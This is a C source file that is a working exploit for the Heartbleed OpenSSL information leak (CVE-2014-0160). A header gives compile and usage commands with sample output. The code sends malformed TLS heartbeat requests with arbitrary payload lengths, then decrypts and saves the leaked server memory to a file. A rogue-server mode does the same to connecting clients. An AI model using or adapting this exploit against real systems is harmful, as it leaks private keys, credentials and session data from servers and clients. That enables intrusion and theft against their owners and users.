heartbleed.c

/*
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned encrypted and is then decrypted, decompressed and
* wrote to a file to annoy IDS/forensics. The exploit can set
* the heatbeart payload length arbitrarily or use two preset
* values for 0x00 and MAX length. The vulnerability occurs due
* to bounds checking not being performed on a heap value which
* is user supplied and returned to the user as part of DTLS/TLS
* heartbeat SSL extension. All versions of OpenSSL 1.0.1 to
* 1.0.1f are known affected. You must run this against a target
* which is linked to a vulnerable OpenSSL library using DTLS/TLS.
*
* Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g
*
* E.g.
* $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
* $ ./heartbleed -s 192.168.11.9 -p 443 -f leakme -t 65535
* [ heartbleed - CVE-2014-0160 - TLS/DTLS information leak exploit
* [ connecting to 192.168.11.9 443/tcp
* [ connected to 192.168.11.9 443/tcp
* [ setting heartbeat payload_length to 65535
* [ heartbeat returned type=24 length=16416
* [ decrypting and decompressing SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes to file 'leakme'
* [ done.
* $ hexdump -C leakme
* - snip - snip
*
* todo:
* - udp/dtls support
* - send some "pre-cmds" before handshake, e.g. "STARTTLS"
*
* Added experimental support for exploiting connecting clients
* with rogue server. Generate certificates with the following:
*
* $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
* -keyout server.key -out server.crt
*
* - Hacker Fantastic
*   http://www.mdsec.co.uk
*
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <inttypes.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/tls1.h>
#include <openssl/rand.h>
#include <openssl/buffer.h>

#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
        (((unsigned int)(c[1]))    )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
         c[1]=(unsigned char)(((s)    )&0xff)),c+=2)

typedef struct {
    int socket;
    SSL *sslHandle;
    SSL_CTX *sslContext;
} connection;

typedef struct {
  unsigned char type;
  short version;
  unsigned int length;
  unsigned char hbtype;
  unsigned int payload_length;
  void* payload;
} heartbeat;

int tcp_connect(char* server,int port){
    int sd,ret;
    struct hostent *host;
        struct sockaddr_in sa;
        host = gethostbyname(server);
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd==-1){
        printf("[!] cannot create socket\n");
        exit(0);
    }
    sa.sin_family = AF_INET;
        sa.sin_port = htons(port);
        sa.sin_addr = *((struct in_addr *) host->h_addr);
        bzero(&(sa.sin_zero),8);
    printf("[ connecting to %s %d/tcp\n",server,port);
        ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
    if(ret==0){
        printf("[ connected to %s %d/tcp\n",server,port);
    }
    else{
        printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
        exit(0);
    }
    return sd;
}

int tcp_bind(char* server, int port){
    int sd, ret, val=1;
    struct sockaddr_in sin;
    struct hostent *host;
    host = gethostbyname(server);
    sd=socket(AF_INET,SOCK_STREAM,0);
    if(sd==-1){
            printf("[!] cannot create socket\n");
        exit(0);
    }
    memset(&sin,0,sizeof(sin));
    sin.sin_addr=*((struct in_addr *) host->h_addr);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(port);
        setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val));
    ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin));
    if(ret==-1){
        printf("[!] cannot bind socket\n");
        exit(0);
    }
    listen(sd,5);
    return(sd);
}


void ssl_init(){
        SSL_load_error_strings();
        SSL_library_init();
        OpenSSL_add_all_digests();
        OpenSSL_add_all_algorithms();
        OpenSSL_add_all_ciphers();
}

connection* tls_connect(int sd){
        connection *c;
    c = malloc(sizeof(connection));
        c->socket = sd;
        c->sslHandle = NULL;
        c->sslContext = NULL;
        c->sslContext = SSL_CTX_new(TLSv1_client_method());
        if(c->sslContext==NULL)
                ERR_print_errors_fp(stderr);
        c->sslHandle = SSL_new(c->sslContext);
        if(c->sslHandle==NULL)
                ERR_print_errors_fp(stderr);
        if(!SSL_set_fd(c->sslHandle,c->socket))
                ERR_print_errors_fp(stderr);
        if(SSL_connect(c->sslHandle)!=1)
                ERR_print_errors_fp(stderr);
        if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
                c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
                printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
        }
    return c;
}

connection* tls_bind(int sd){
    int bytes;
        connection *c;
        char* buf;
    buf = malloc(4096);
    memset(buf,0,4096);
    c = malloc(sizeof(connection));
        c->socket = sd;
        c->sslHandle = NULL;
        c->sslContext = NULL;
        c->sslContext = SSL_CTX_new(TLSv1_server_method());
        if(c->sslContext==NULL)
                ERR_print_errors_fp(stderr);
    SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3);
    SSL_CTX_SRP_CTX_init(c->sslContext);
    SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM);
    SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM);
    if(!SSL_CTX_check_private_key(c->sslContext)){
        printf("[!] FATAL: private key does not match the certificate public key\n");
        exit(0);
    }
    c->sslHandle = SSL_new(c->sslContext);
        if(c->sslHandle==NULL)
                ERR_print_errors_fp(stderr);
        if(!SSL_set_fd(c->sslHandle,c->socket))
                ERR_print_errors_fp(stderr);
        int rc = SSL_accept(c->sslHandle);
    printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle));
    bytes = SSL_read(c->sslHandle, buf, sizeof(buf));
    printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf);
    if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
                c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
                printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
        }
        return c;
}

int pre_cmd(int sd){
    // this is a stub function, you can send additional commands to your socket
    // here before the heartbleed exploit.
    return sd;
}

void* heartbleed(connection *c,unsigned int type){
    unsigned char *buf, *p;
        int ret;
    buf = OPENSSL_malloc(1 + 2);
        p = buf;
        *p++ = TLS1_HB_REQUEST;
    switch(type){
        case 0:
            s2n(0x0,p);
            break;
        case 1:
            s2n(0xffff,p);
            break;
        default:
            printf("[ setting heartbeat payload_length to %u\n",type);
            s2n(type,p);
            break;
    }
    printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
        ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
        OPENSSL_free(buf);
    return c;
}

void* sneakyleaky(connection *c,char* filename, int verbose){
    char *p;
        int ssl_major,ssl_minor,al;
        int enc_err,n,i;
        SSL3_RECORD *rr;
        SSL_SESSION *sess;
    SSL* s;
        unsigned char md[EVP_MAX_MD_SIZE];
        short version;
        unsigned mac_size, orig_len;
        size_t extra;
        rr= &(c->sslHandle->s3->rrec);
        sess=c->sslHandle->session;
        s = c->sslHandle;
        if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
                extra=SSL3_RT_MAX_EXTRA;
        else
                extra=0;
        if ((s->rstate != SSL_ST_READ_BODY) ||
                (s->packet_length < SSL3_RT_HEADER_LENGTH)) {
                        n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
                        if (n <= 0)
                                goto apple;
                        s->rstate=SSL_ST_READ_BODY;
                        p=s->packet;
                        rr->type= *(p++);
                        ssl_major= *(p++);
                        ssl_minor= *(p++);
                        version=(ssl_major<<8)|ssl_minor;
                        n2s(p,rr->length);
            if(rr->type==24){
                printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
            }
            else{
                printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
                s->packet_length=0;
                goto apple;
            }
        }
        if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
                i=rr->length;
                n=ssl3_read_n(s,i,i,1);
                if (n <= 0) goto apple;
        }
    printf("[ decrypting and decompressing SSL packet\n");
        s->rstate=SSL_ST_READ_HEADER;
        rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
        rr->data=rr->input;
        tls1_enc(s,0);
        if(verbose==1){
                { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
                printf("\n");
        }
        if((sess != NULL) &&
            (s->enc_read_ctx != NULL) &&
            (EVP_MD_CTX_md(s->read_hash) != NULL))
                {
                unsigned char *mac = NULL;
                unsigned char mac_tmp[EVP_MAX_MD_SIZE];
                mac_size=EVP_MD_CTX_size(s->read_hash);
                OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
                orig_len = rr->length+((unsigned int)rr->type>>8);
                if(orig_len < mac_size ||
                  (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
                   orig_len < mac_size+1)){
                        al=SSL_AD_DECODE_ERROR;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
                }
                if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
                        mac = mac_tmp;
                        ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
                        rr->length -= mac_size;
                }
                else{
                        rr->length -= mac_size;
                        mac = &rr->data[rr->length];
                }
                i = tls1_mac(s,md,0);
                if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)
                        enc_err = -1;
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
                        enc_err = -1;
                }
        if(enc_err < 0){
                al=SSL_AD_BAD_RECORD_MAC;
                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
                goto apple;
        }
        if(s->expand != NULL){
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
                        al=SSL_AD_RECORD_OVERFLOW;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
                        goto apple;
                        }
                if (!ssl3_do_uncompress(s)) {
                        al=SSL_AD_DECOMPRESSION_FAILURE;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
                        goto apple;
                        }
                }
        if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
                al=SSL_AD_RECORD_OVERFLOW;
                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
                goto apple;
        }
        rr->off=0;
        s->packet_length=0;
    printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
    int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
        write(fd,s->s3->rrec.data,s->s3->rrec.length);
        close(fd);
    printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);
    printf("[ done.\n");
    exit(0);
apple:
        printf("[ problem handling SSL record packet - wrong type?\n");
}

void usage(){
    printf("[\n");
    printf("[ --server|-s <ip/dns>    - the server to target\n");
    printf("[ --port|-p   <port>      - the port to target\n");
    printf("[ --file|-f   <filename>  - file to write data to\n");
    printf("[ --bind|-b   <ip>        - bind to ip for exploiting clients\n");
    printf("[ --type|-t               - select exploit to try\n");
    printf("[                           0 = null length\n");
    printf("[               1 = max leak\n");
    printf("[               n = heartbeat payload_length\n");
    printf("[\n");
    printf("[ --verbose|-v            - output leak to screen\n");
    printf("[ --help|-h               - this output\n");
    printf("[\n");
    exit(0);
}

int main(int argc, char* argv[]){
    int ret, port, userc, index;
    int type = 1, udp = 0, verbose = 0, bind = 0;
    struct hostent *h;
    connection* c;
    char *host, *file;
    int ihost = 0, iport = 0, ifile = 0, itype = 0;
    printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
    printf("[ =============================================================\n");
        static struct option options[] = {
            {"server", 1, 0, 's'},
            {"port", 1, 0, 'p'},
        {"file", 1, 0, 'f'},
        {"type", 1, 0, 't'},
        {"bind", 1, 0, 'b'},
        {"verbose", 0, 0, 'v'},
        {"help", 0, 0,'h'}
        };
    while(userc != -1) {
            userc = getopt_long(argc,argv,"s:p:f:t:b:vh",options,&index);
            switch(userc) {
                    case -1:
                            break;
                    case 's':
                if(ihost==0){
                    ihost = 1;
                    h = gethostbyname(optarg);
                    if(h==NULL){
                        printf("[!] FATAL: unknown host '%s'\n",optarg);
                        exit(1);
                    }
                    host = malloc(strlen(optarg) + 1);
                    sprintf(host,"%s",optarg);
                        }
                break;
                    case 'p':
                if(iport==0){
                    port = atoi(optarg);
                    iport = 1;
                }
                            break;
            case 'f':
                if(ifile==0){
                    file = malloc(strlen(optarg) + 1);
                    sprintf(file,"%s",optarg);
                    ifile = 1;
                }
                break;
            case 't':
                if(itype==0){
                    type = atoi(optarg);
                    itype = 1;
                }
                break;
            case 'h':
                usage();
                break;
            case 'b':
                if(ihost==0){
                    ihost = 1;
                    host = malloc(strlen(optarg)+1);
                    sprintf(host,"%s",optarg);
                    bind = 1;
                }
                break;
            case 'v':
                verbose = 1;
                break;
            default:
                break;
        }
    }
    if(ihost==0||iport==0||ifile==0||itype==0){
        printf("[ try --help\n");
        exit(0);
    }
    ssl_init();
    if(bind==0){
        ret = tcp_connect(host, port);
        pre_cmd(ret);
        c = tls_connect(ret);
        heartbleed(c,type);
        sneakyleaky(c,file,verbose);
        exit(0);
    }
    else{
        int sd, pid, i;
        ret = tcp_bind(host, port);
        while(1){
                sd=accept(ret,0,0);
            if(sd==-1){
                printf("[!] FATAL: problem with accept()\n");
                exit(0);
            }
            if(pid=fork()){
                close(sd);
            }
                else{
                c = tls_bind(sd);
                heartbleed(c,type);
                sneakyleaky(c,file,verbose);
                exit(0);
            }
        }
    }
}